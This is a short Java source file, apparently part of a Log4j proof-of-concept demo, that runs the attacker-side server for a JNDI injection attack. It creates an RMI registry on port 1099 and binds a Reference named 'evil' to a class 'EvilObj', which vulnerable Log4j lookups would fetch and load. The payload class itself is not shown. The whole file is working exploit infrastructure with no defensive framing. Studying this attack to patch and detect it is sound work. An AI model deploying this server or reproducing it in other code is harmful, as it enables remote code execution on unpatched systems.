package com.javasea.log4j.RmiDemo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 *@ClassName RMIServer
 *@Description TODO
 *@Author longxiaonan@163.com
 *@Date 2021/12/11 0011 23:17
 */
public class RMIServer {

    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("Create RMI registory on port 1099");

            Reference reference = new Reference("EvilObj", "EvilObj", null);

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

            registry.bind("evil", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}
